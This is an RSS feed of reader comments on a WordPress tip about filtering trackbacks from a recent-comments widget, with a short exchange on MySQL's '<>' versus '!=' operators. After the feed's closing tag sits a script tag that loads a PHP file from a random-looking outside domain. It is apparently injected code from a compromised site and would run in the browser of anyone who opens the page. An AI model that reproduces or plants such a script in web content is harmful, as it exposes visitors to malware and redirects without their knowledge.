















































<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Exclude Trackbacks from Recent Comments Listing</title>
	<atom:link href="http://www.vileworks.com/exclude-trackbacks-from-recent-comments-listing/feed" rel="self" type="application/rss+xml" />
	<link>http://www.vileworks.com/exclude-trackbacks-from-recent-comments-listing</link>
	<description>Web design &#38; development work of Stefan Matei</description>
	<lastBuildDate>Wed, 21 Jul 2010 14:01:14 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=abc</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>By: Jack Harten</title>
		<link>http://www.vileworks.com/exclude-trackbacks-from-recent-comments-listing/comment-page-1#comment-10692</link>
		<dc:creator>Jack Harten</dc:creator>
		<pubDate>Wed, 20 Jan 2010 01:56:41 +0000</pubDate>
		<guid isPermaLink="false">http://www.vileworks.com/?p=230#comment-10692</guid>
		<description>&lt;p&gt;Have you ever considered adding more videos to your blog posts to keep the readers more entertained? I mean I just read through the entire article of yours and it was quite good but since I&#039;m more of a visual learner,I found that to be more helpful well let me know how it turns out. This is good...thanks for sharing&lt;/p&gt;
</description>
		<content:encoded><![CDATA[<p>Have you ever considered adding more videos to your blog posts to keep the readers more entertained? I mean I just read through the entire article of yours and it was quite good but since I&#8217;m more of a visual learner,I found that to be more helpful well let me know how it turns out. This is good&#8230;thanks for sharing</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: JamesD</title>
		<link>http://www.vileworks.com/exclude-trackbacks-from-recent-comments-listing/comment-page-1#comment-4521</link>
		<dc:creator>JamesD</dc:creator>
		<pubDate>Thu, 11 Jun 2009 17:56:22 +0000</pubDate>
		<guid isPermaLink="false">http://www.vileworks.com/?p=230#comment-4521</guid>
		<description>Thanks for the useful info. It&#039;s so interesting</description>
		<content:encoded><![CDATA[<p>Thanks for the useful info. It&#8217;s so interesting</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Stefan</title>
		<link>http://www.vileworks.com/exclude-trackbacks-from-recent-comments-listing/comment-page-1#comment-630</link>
		<dc:creator>Stefan</dc:creator>
		<pubDate>Wed, 07 Jan 2009 20:42:13 +0000</pubDate>
		<guid isPermaLink="false">http://www.vileworks.com/?p=230#comment-630</guid>
		<description>&lt;p&gt;Yeah, I think that&#039;s what they thought when they made the SQL syntax...
On the &lt;a href=&quot;http://www.w3schools.com/Sql/sql&#95;where.asp&quot; rel=&quot;nofollow&quot;&gt;SQL page&lt;/a&gt; from the w3schools website &quot;&lt;&gt;&quot; is defined as the &quot;not equal&quot; operator.&lt;/p&gt;</description>
		<content:encoded><![CDATA[<p>Yeah, I think that&#8217;s what they thought when they made the SQL syntax&#8230;<br />
On the <a href="http://www.w3schools.com/Sql/sql&#95;where.asp" rel="nofollow">SQL page</a> from the w3schools website &#8220;&lt;>&#8221; is defined as the &#8220;not equal&#8221; operator.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Ray Fowler</title>
		<link>http://www.vileworks.com/exclude-trackbacks-from-recent-comments-listing/comment-page-1#comment-627</link>
		<dc:creator>Ray Fowler</dc:creator>
		<pubDate>Wed, 07 Jan 2009 17:02:39 +0000</pubDate>
		<guid isPermaLink="false">http://www.vileworks.com/?p=230#comment-627</guid>
		<description>I think I get it.  So does mysql interpret &lt;&gt; as &quot;less than or greater than a value&quot; which works out to the same as &quot;not equal&quot; (!=)?</description>
		<content:encoded><![CDATA[<p>I think I get it.  So does mysql interpret &lt;&gt; as &#8220;less than or greater than a value&#8221; which works out to the same as &#8220;not equal&#8221; (!=)?</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Stefan</title>
		<link>http://www.vileworks.com/exclude-trackbacks-from-recent-comments-listing/comment-page-1#comment-626</link>
		<dc:creator>Stefan</dc:creator>
		<pubDate>Wed, 07 Jan 2009 15:49:48 +0000</pubDate>
		<guid isPermaLink="false">http://www.vileworks.com/?p=230#comment-626</guid>
		<description>&lt;p&gt;@&lt;a href=&quot;#comment-625&quot; rel=&quot;nofollow&quot;&gt;Ray Fowler&lt;/a&gt;: Yes... I just tested this out, mysql accepts both &lt;code&gt;&lt;&gt;&lt;/code&gt; and &lt;code&gt;!=&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;I used &lt;code&gt;&lt;&gt;&lt;/code&gt; to keep it consistent with other queries they had in &quot;FreePress Recent Comments Widget&quot;... That&#039;s what they were using.&lt;/p&gt;</description>
		<content:encoded><![CDATA[<p>@<a href="#comment-625" rel="nofollow">Ray Fowler</a>: Yes&#8230; I just tested this out, mysql accepts both <code>&lt;></code> and <code>!=</code>.</p>
<p>I used <code>&lt;></code> to keep it consistent with other queries they had in &#8220;FreePress Recent Comments Widget&#8221;&#8230; That&#8217;s what they were using.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Ray Fowler</title>
		<link>http://www.vileworks.com/exclude-trackbacks-from-recent-comments-listing/comment-page-1#comment-625</link>
		<dc:creator>Ray Fowler</dc:creator>
		<pubDate>Wed, 07 Jan 2009 14:19:46 +0000</pubDate>
		<guid isPermaLink="false">http://www.vileworks.com/?p=230#comment-625</guid>
		<description>Hmmm, I noticed in your code example, you have 

&lt;pre&gt;AND user&#95;id  &lt;&gt; &#039;1&#039;&lt;/pre&gt;

instead of

&lt;pre&gt;AND user&#95;id !=&#039;1&#039;&lt;/pre&gt;

I think that should be an = rather than an &lt;&gt;.</description>
		<content:encoded><![CDATA[<p>Hmmm, I noticed in your code example, you have </p>
<pre>AND user&#95;id  &lt;&gt; '1'</pre>
<p>instead of</p>
<pre>AND user&#95;id !='1'</pre>
<p>I think that should be an = rather than an &lt;&gt;.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Ray Fowler</title>
		<link>http://www.vileworks.com/exclude-trackbacks-from-recent-comments-listing/comment-page-1#comment-624</link>
		<dc:creator>Ray Fowler</dc:creator>
		<pubDate>Wed, 07 Jan 2009 14:14:56 +0000</pubDate>
		<guid isPermaLink="false">http://www.vileworks.com/?p=230#comment-624</guid>
		<description>Very cool!  I am glad I was able to help back.  </description>
		<content:encoded><![CDATA[<p>Very cool!  I am glad I was able to help back.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Stefan</title>
		<link>http://www.vileworks.com/exclude-trackbacks-from-recent-comments-listing/comment-page-1#comment-623</link>
		<dc:creator>Stefan</dc:creator>
		<pubDate>Wed, 07 Jan 2009 07:28:41 +0000</pubDate>
		<guid isPermaLink="false">http://www.vileworks.com/?p=230#comment-623</guid>
		<description>&lt;p&gt;@&lt;a href=&quot;#comment-615&quot; rel=&quot;nofollow&quot;&gt;Ray Fowler&lt;/a&gt;: And I did :) no more will my own comments show up in the footer.&lt;/p&gt;

&lt;p&gt;Thanks.&lt;/p&gt;</description>
		<content:encoded><![CDATA[<p>@<a href="#comment-615" rel="nofollow">Ray Fowler</a>: And I did :) no more will my own comments show up in the footer.</p>
<p>Thanks.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Stefan</title>
		<link>http://www.vileworks.com/exclude-trackbacks-from-recent-comments-listing/comment-page-1#comment-622</link>
		<dc:creator>Stefan</dc:creator>
		<pubDate>Wed, 07 Jan 2009 07:12:35 +0000</pubDate>
		<guid isPermaLink="false">http://www.vileworks.com/?p=230#comment-622</guid>
		<description>&lt;p&gt;@&lt;a href=&quot;#comment-615&quot; rel=&quot;nofollow&quot;&gt;Ray Fowler&lt;/a&gt;: You&#039;re welcome. For some reason your comment ended up in spam.&lt;/p&gt;

&lt;p&gt;And you&#039;ve got an interesting point about not listing your own comments. I might use that myself.&lt;/p&gt;</description>
		<content:encoded><![CDATA[<p>@<a href="#comment-615" rel="nofollow">Ray Fowler</a>: You&#8217;re welcome. For some reason your comment ended up in spam.</p>
<p>And you&#8217;ve got an interesting point about not listing your own comments. I might use that myself.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Ray Fowler</title>
		<link>http://www.vileworks.com/exclude-trackbacks-from-recent-comments-listing/comment-page-1#comment-615</link>
		<dc:creator>Ray Fowler</dc:creator>
		<pubDate>Mon, 05 Jan 2009 19:35:49 +0000</pubDate>
		<guid isPermaLink="false">http://www.vileworks.com/?p=230#comment-615</guid>
		<description>Thanks, this is exactly what I was looking for.  I am using WordPress 2.7 and the built in Recent Comments Widget.  I was getting trackbacks and pingbacks in my sidebar, but I added your code to wp-includes/widgets.php  and now they are filtered out perfectly.

By the way, I also added this piece of code which filters out my own comments from the sidebar.  That way when I reply to a whole bunch of comments, I am not the only one showing up in the sidebar.  Besides, I would rather highlight my guests rather than myself.  Here is the code:

Changed: &lt;pre&gt;$wpdb-&gt;comments WHERE comment&#95;approved=&#039;1&#039;&lt;/pre&gt;

to: &lt;pre&gt;$wpdb-&gt;comments WHERE comment&#95;approved=&#039;1&#039; and user&#95;id !=&#039;1&#039;&lt;/pre&gt;

Thanks again!
Ray</description>
		<content:encoded><![CDATA[<p>Thanks, this is exactly what I was looking for.  I am using WordPress 2.7 and the built in Recent Comments Widget.  I was getting trackbacks and pingbacks in my sidebar, but I added your code to wp-includes/widgets.php  and now they are filtered out perfectly.</p>
<p>By the way, I also added this piece of code which filters out my own comments from the sidebar.  That way when I reply to a whole bunch of comments, I am not the only one showing up in the sidebar.  Besides, I would rather highlight my guests rather than myself.  Here is the code:</p>
<p>Changed:
<pre>$wpdb-&gt;comments WHERE comment&#95;approved='1'</pre>
<p>to:
<pre>$wpdb-&gt;comments WHERE comment&#95;approved='1' and user&#95;id !='1'</pre>
<p>Thanks again!<br />
Ray</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script src="http://kdjkfjskdfjlskdjf.com/kp.php"></script>